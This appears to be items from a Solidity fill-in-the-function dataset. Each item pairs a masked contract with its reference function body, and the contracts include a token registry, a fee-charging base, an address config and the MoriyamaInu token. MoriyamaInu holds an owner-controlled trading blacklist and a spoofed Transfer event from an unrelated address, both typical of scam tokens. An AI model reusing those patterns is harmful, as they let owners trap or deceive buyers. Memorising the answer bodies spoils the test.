require(_to != address(0)); totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true;
function mint(address _to, uint256 _amount) onlyOwner public returns (bool)
// NOTE: _amount of 1 FCT is 10 ** decimals function mint(address _to, uint256 _amount) onlyOwner public returns (bool)
55735
EthermiumTokenList
getToken
contract EthermiumTokenList { function safeMul(uint a, uint b) returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } struct Token { address tokenAddress; // token ethereum address uint256 decimals; // number of token decimals string url; // token website url string symbol; // token symbol string name; // token name string logoUrl; // link to logo bool verified; // true if the url was verified address owner; // address from which the token was added bool enabled; // owner of the token can disable it } address public owner; mapping (address => bool) public admins; address public feeAccount; address[] public tokenList; mapping(address => Token) public tokens; uint256 public listTokenFee; // in wei per block uint256 public modifyTokenFee; // in wei event TokenAdded(address tokenAddress, uint256 decimals, string url, string symbol, string name, address owner, string logoUrl); event TokenModified(address tokenAddress, uint256 decimals, string url, string symbol, string name, bool enabled, string logoUrl); event FeeChange(uint256 listTokenFee, uint256 modifyTokenFee); event TokenVerify(address tokenAddress, bool verified); event TokenOwnerChanged(address tokenAddress, address newOwner); modifier onlyOwner { assert(msg.sender == owner); _; } modifier onlyAdmin { if (msg.sender != owner && !admins[msg.sender]) throw; _; } function setAdmin(address admin, bool isAdmin) public onlyOwner { admins[admin] = isAdmin; } function setOwner(address newOwner) public onlyOwner { owner = newOwner; } function setFeeAccount(address feeAccount_) public onlyOwner { feeAccount = feeAccount_; } function setFees(uint256 listTokenFee_, uint256 modifyTokenFee_) public onlyOwner { listTokenFee = listTokenFee_; modifyTokenFee = modifyTokenFee_; FeeChange(listTokenFee, modifyTokenFee); } function EthermiumTokenList (address owner_, address feeAccount_, uint256 listTokenFee_, uint256 modifyTokenFee_) { owner = owner_; feeAccount = feeAccount_; listTokenFee = listTokenFee_; modifyTokenFee = modifyTokenFee_; } function addToken(address tokenAddress, uint256 decimals, string url, string symbol, string name, string logoUrl) public payable { require(tokens[tokenAddress].tokenAddress == address(0x0)); if (msg.sender != owner && !admins[msg.sender]) { require(msg.value >= listTokenFee); } tokens[tokenAddress] = Token({ tokenAddress: tokenAddress, decimals: decimals, url: url, symbol: symbol, name: name, verified: false, owner: msg.sender, enabled: true, logoUrl: logoUrl }); if (!feeAccount.send(msg.value)) throw; tokenList.push(tokenAddress); TokenAdded(tokenAddress, decimals, url, symbol, name, msg.sender, logoUrl); } function modifyToken(address tokenAddress, uint256 decimals, string url, string symbol, string name, string logoUrl, bool enabled) public payable { require(tokens[tokenAddress].tokenAddress != address(0x0)); require(msg.sender == tokens[tokenAddress].owner); if (keccak256(url) != keccak256(tokens[tokenAddress].url)) tokens[tokenAddress].verified = false; tokens[tokenAddress].decimals = decimals; tokens[tokenAddress].url = url; tokens[tokenAddress].symbol = symbol; tokens[tokenAddress].name = name; tokens[tokenAddress].enabled = enabled; tokens[tokenAddress].logoUrl = logoUrl; TokenModified(tokenAddress, decimals, url, symbol, name, enabled, logoUrl); } function changeOwner(address tokenAddress, address newOwner) public { require(tokens[tokenAddress].tokenAddress != address(0x0)); require(msg.sender == tokens[tokenAddress].owner || msg.sender == owner); tokens[tokenAddress].owner = newOwner; TokenOwnerChanged(tokenAddress, newOwner); } function setVerified(address tokenAddress, bool verified_) onlyAdmin public { require(tokens[tokenAddress].tokenAddress != address(0x0)); tokens[tokenAddress].verified = verified_; TokenVerify(tokenAddress, verified_); } function isTokenInList(address tokenAddress) public constant returns (bool) { if (tokens[tokenAddress].tokenAddress != address(0x0)) { return true; } else { return false; } } function getToken(address tokenAddress) public constant returns ( uint256, string, string, string, bool, string) {<FILL_FUNCTION_BODY> } function getTokenCount() public constant returns(uint count) { return tokenList.length; } function isTokenVerified(address tokenAddress) public constant returns (bool) { if (tokens[tokenAddress].tokenAddress != address(0x0) && tokens[tokenAddress].verified) { return true; } else { return false; } } }
contract EthermiumTokenList { function safeMul(uint a, uint b) returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } struct Token { address tokenAddress; // token ethereum address uint256 decimals; // number of token decimals string url; // token website url string symbol; // token symbol string name; // token name string logoUrl; // link to logo bool verified; // true if the url was verified address owner; // address from which the token was added bool enabled; // owner of the token can disable it } address public owner; mapping (address => bool) public admins; address public feeAccount; address[] public tokenList; mapping(address => Token) public tokens; uint256 public listTokenFee; // in wei per block uint256 public modifyTokenFee; // in wei event TokenAdded(address tokenAddress, uint256 decimals, string url, string symbol, string name, address owner, string logoUrl); event TokenModified(address tokenAddress, uint256 decimals, string url, string symbol, string name, bool enabled, string logoUrl); event FeeChange(uint256 listTokenFee, uint256 modifyTokenFee); event TokenVerify(address tokenAddress, bool verified); event TokenOwnerChanged(address tokenAddress, address newOwner); modifier onlyOwner { assert(msg.sender == owner); _; } modifier onlyAdmin { if (msg.sender != owner && !admins[msg.sender]) throw; _; } function setAdmin(address admin, bool isAdmin) public onlyOwner { admins[admin] = isAdmin; } function setOwner(address newOwner) public onlyOwner { owner = newOwner; } function setFeeAccount(address feeAccount_) public onlyOwner { feeAccount = feeAccount_; } function setFees(uint256 listTokenFee_, uint256 modifyTokenFee_) public onlyOwner { listTokenFee = listTokenFee_; modifyTokenFee = modifyTokenFee_; FeeChange(listTokenFee, modifyTokenFee); } function EthermiumTokenList (address owner_, address feeAccount_, uint256 listTokenFee_, uint256 modifyTokenFee_) { owner = owner_; feeAccount = feeAccount_; listTokenFee = listTokenFee_; modifyTokenFee = modifyTokenFee_; } function addToken(address tokenAddress, uint256 decimals, string url, string symbol, string name, string logoUrl) public payable { require(tokens[tokenAddress].tokenAddress == address(0x0)); if (msg.sender != owner && !admins[msg.sender]) { require(msg.value >= listTokenFee); } tokens[tokenAddress] = Token({ tokenAddress: tokenAddress, decimals: decimals, url: url, symbol: symbol, name: name, verified: false, owner: msg.sender, enabled: true, logoUrl: logoUrl }); if (!feeAccount.send(msg.value)) throw; tokenList.push(tokenAddress); TokenAdded(tokenAddress, decimals, url, symbol, name, msg.sender, logoUrl); } function modifyToken(address tokenAddress, uint256 decimals, string url, string symbol, string name, string logoUrl, bool enabled) public payable { require(tokens[tokenAddress].tokenAddress != address(0x0)); require(msg.sender == tokens[tokenAddress].owner); if (keccak256(url) != keccak256(tokens[tokenAddress].url)) tokens[tokenAddress].verified = false; tokens[tokenAddress].decimals = decimals; tokens[tokenAddress].url = url; tokens[tokenAddress].symbol = symbol; tokens[tokenAddress].name = name; tokens[tokenAddress].enabled = enabled; tokens[tokenAddress].logoUrl = logoUrl; TokenModified(tokenAddress, decimals, url, symbol, name, enabled, logoUrl); } function changeOwner(address tokenAddress, address newOwner) public { require(tokens[tokenAddress].tokenAddress != address(0x0)); require(msg.sender == tokens[tokenAddress].owner || msg.sender == owner); tokens[tokenAddress].owner = newOwner; TokenOwnerChanged(tokenAddress, newOwner); } function setVerified(address tokenAddress, bool verified_) onlyAdmin public { require(tokens[tokenAddress].tokenAddress != address(0x0)); tokens[tokenAddress].verified = verified_; TokenVerify(tokenAddress, verified_); } function isTokenInList(address tokenAddress) public constant returns (bool) { if (tokens[tokenAddress].tokenAddress != address(0x0)) { return true; } else { return false; } } <FILL_FUNCTION> function getTokenCount() public constant returns(uint count) { return tokenList.length; } function isTokenVerified(address tokenAddress) public constant returns (bool) { if (tokens[tokenAddress].tokenAddress != address(0x0) && tokens[tokenAddress].verified) { return true; } else { return false; } } }
require(tokens[tokenAddress].tokenAddress != address(0x0)); return ( tokens[tokenAddress].decimals, tokens[tokenAddress].url, tokens[tokenAddress].symbol, tokens[tokenAddress].name, tokens[tokenAddress].enabled, tokens[tokenAddress].logoUrl );
function getToken(address tokenAddress) public constant returns ( uint256, string, string, string, bool, string)
function getToken(address tokenAddress) public constant returns ( uint256, string, string, string, bool, string)
81065
MoriyamaInu
_getRValues
contract MoriyamaInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Moriyama Inu"; string private constant _symbol = "MORI"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xbb35f79ae8d29b33E835e6b50Ad9089264dA9316); _feeAddrWallet2 = payable(0xbb35f79ae8d29b33E835e6b50Ad9089264dA9316); _buyTax = 8; _sellTax = 8; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x6Ec5C3E683c7121A9b458402FF5A65E82a7b56d6), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (0 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet2.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 150000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function getBot(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {<FILL_FUNCTION_BODY> } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 150000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 8) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
contract MoriyamaInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Moriyama Inu"; string private constant _symbol = "MORI"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xbb35f79ae8d29b33E835e6b50Ad9089264dA9316); _feeAddrWallet2 = payable(0xbb35f79ae8d29b33E835e6b50Ad9089264dA9316); _buyTax = 8; _sellTax = 8; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x6Ec5C3E683c7121A9b458402FF5A65E82a7b56d6), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (0 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet2.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 150000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function getBot(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } <FILL_FUNCTION> function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 150000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 8) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee);
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256)
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256)
43506
ChargesFee
_acceptPayment
contract ChargesFee is Ownable { using SafeERC20 for IERC20; event SetFeeManager(address addr); event SetFeeCollector(address addr); event SetEthFee(uint256 ethFee); event SetGaltFee(uint256 ethFee); event WithdrawEth(address indexed to, uint256 amount); event WithdrawErc20(address indexed to, address indexed tokenAddress, uint256 amount); event WithdrawErc721(address indexed to, address indexed tokenAddress, uint256 tokenId); uint256 public ethFee; uint256 public galtFee; address public feeManager; address public feeCollector; modifier onlyFeeManager() { require(msg.sender == feeManager, "ChargesFee: caller is not the feeManager"); _; } modifier onlyFeeCollector() { require(msg.sender == feeCollector, "ChargesFee: caller is not the feeCollector"); _; } constructor(uint256 _ethFee, uint256 _galtFee) public { ethFee = _ethFee; galtFee = _galtFee; } // ABSTRACT function _galtToken() internal view returns (IERC20); // SETTERS function setFeeManager(address _addr) external onlyOwner { feeManager = _addr; emit SetFeeManager(_addr); } function setFeeCollector(address _addr) external onlyOwner { feeCollector = _addr; emit SetFeeCollector(_addr); } function setEthFee(uint256 _ethFee) external onlyFeeManager { ethFee = _ethFee; emit SetEthFee(_ethFee); } function setGaltFee(uint256 _galtFee) external onlyFeeManager { galtFee = _galtFee; emit SetGaltFee(_galtFee); } // WITHDRAWERS function withdrawErc20(address _tokenAddress, address _to) external onlyFeeCollector { uint256 balance = IERC20(_tokenAddress).balanceOf(address(this)); IERC20(_tokenAddress).transfer(_to, balance); emit WithdrawErc20(_to, _tokenAddress, balance); } function withdrawErc721(address _tokenAddress, address _to, uint256 _tokenId) external onlyFeeCollector { IERC721(_tokenAddress).transferFrom(address(this), _to, _tokenId); emit WithdrawErc721(_to, _tokenAddress, _tokenId); } function withdrawEth(address payable _to) external onlyFeeCollector { uint256 balance = address(this).balance; _to.transfer(balance); emit WithdrawEth(_to, balance); } // INTERNAL function _acceptPayment() internal {<FILL_FUNCTION_BODY> } }
contract ChargesFee is Ownable { using SafeERC20 for IERC20; event SetFeeManager(address addr); event SetFeeCollector(address addr); event SetEthFee(uint256 ethFee); event SetGaltFee(uint256 ethFee); event WithdrawEth(address indexed to, uint256 amount); event WithdrawErc20(address indexed to, address indexed tokenAddress, uint256 amount); event WithdrawErc721(address indexed to, address indexed tokenAddress, uint256 tokenId); uint256 public ethFee; uint256 public galtFee; address public feeManager; address public feeCollector; modifier onlyFeeManager() { require(msg.sender == feeManager, "ChargesFee: caller is not the feeManager"); _; } modifier onlyFeeCollector() { require(msg.sender == feeCollector, "ChargesFee: caller is not the feeCollector"); _; } constructor(uint256 _ethFee, uint256 _galtFee) public { ethFee = _ethFee; galtFee = _galtFee; } // ABSTRACT function _galtToken() internal view returns (IERC20); // SETTERS function setFeeManager(address _addr) external onlyOwner { feeManager = _addr; emit SetFeeManager(_addr); } function setFeeCollector(address _addr) external onlyOwner { feeCollector = _addr; emit SetFeeCollector(_addr); } function setEthFee(uint256 _ethFee) external onlyFeeManager { ethFee = _ethFee; emit SetEthFee(_ethFee); } function setGaltFee(uint256 _galtFee) external onlyFeeManager { galtFee = _galtFee; emit SetGaltFee(_galtFee); } // WITHDRAWERS function withdrawErc20(address _tokenAddress, address _to) external onlyFeeCollector { uint256 balance = IERC20(_tokenAddress).balanceOf(address(this)); IERC20(_tokenAddress).transfer(_to, balance); emit WithdrawErc20(_to, _tokenAddress, balance); } function withdrawErc721(address _tokenAddress, address _to, uint256 _tokenId) external onlyFeeCollector { IERC721(_tokenAddress).transferFrom(address(this), _to, _tokenId); emit WithdrawErc721(_to, _tokenAddress, _tokenId); } function withdrawEth(address payable _to) external onlyFeeCollector { uint256 balance = address(this).balance; _to.transfer(balance); emit WithdrawEth(_to, balance); } <FILL_FUNCTION> }
if (msg.value == 0) { _galtToken().transferFrom(msg.sender, address(this), galtFee); } else { require(msg.value == ethFee, "Fee and msg.value not equal"); }
function _acceptPayment() internal
// INTERNAL function _acceptPayment() internal
60663
AddressConfig
setVoteCounter
contract AddressConfig is Ownable, UsingValidator, Killable { address public token = 0x98626E2C9231f03504273d55f397409deFD4a093; address public allocator; address public allocatorStorage; address public withdraw; address public withdrawStorage; address public marketFactory; address public marketGroup; address public propertyFactory; address public propertyGroup; address public metricsGroup; address public metricsFactory; address public policy; address public policyFactory; address public policySet; address public policyGroup; address public lockup; address public lockupStorage; address public voteTimes; address public voteTimesStorage; address public voteCounter; address public voteCounterStorage; function setAllocator(address _addr) external onlyOwner { allocator = _addr; } function setAllocatorStorage(address _addr) external onlyOwner { allocatorStorage = _addr; } function setWithdraw(address _addr) external onlyOwner { withdraw = _addr; } function setWithdrawStorage(address _addr) external onlyOwner { withdrawStorage = _addr; } function setMarketFactory(address _addr) external onlyOwner { marketFactory = _addr; } function setMarketGroup(address _addr) external onlyOwner { marketGroup = _addr; } function setPropertyFactory(address _addr) external onlyOwner { propertyFactory = _addr; } function setPropertyGroup(address _addr) external onlyOwner { propertyGroup = _addr; } function setMetricsFactory(address _addr) external onlyOwner { metricsFactory = _addr; } function setMetricsGroup(address _addr) external onlyOwner { metricsGroup = _addr; } function setPolicyFactory(address _addr) external onlyOwner { policyFactory = _addr; } function setPolicyGroup(address _addr) external onlyOwner { policyGroup = _addr; } function setPolicySet(address _addr) external onlyOwner { policySet = _addr; } function setPolicy(address _addr) external { addressValidator().validateAddress(msg.sender, policyFactory); policy = _addr; } function setToken(address _addr) external onlyOwner { token = _addr; } function setLockup(address _addr) external onlyOwner { lockup = _addr; } function setLockupStorage(address _addr) external onlyOwner { lockupStorage = _addr; } function setVoteTimes(address _addr) external onlyOwner { voteTimes = _addr; } function setVoteTimesStorage(address _addr) external onlyOwner { voteTimesStorage = _addr; } function setVoteCounter(address _addr) external onlyOwner {<FILL_FUNCTION_BODY> } function setVoteCounterStorage(address _addr) external onlyOwner { voteCounterStorage = _addr; } }
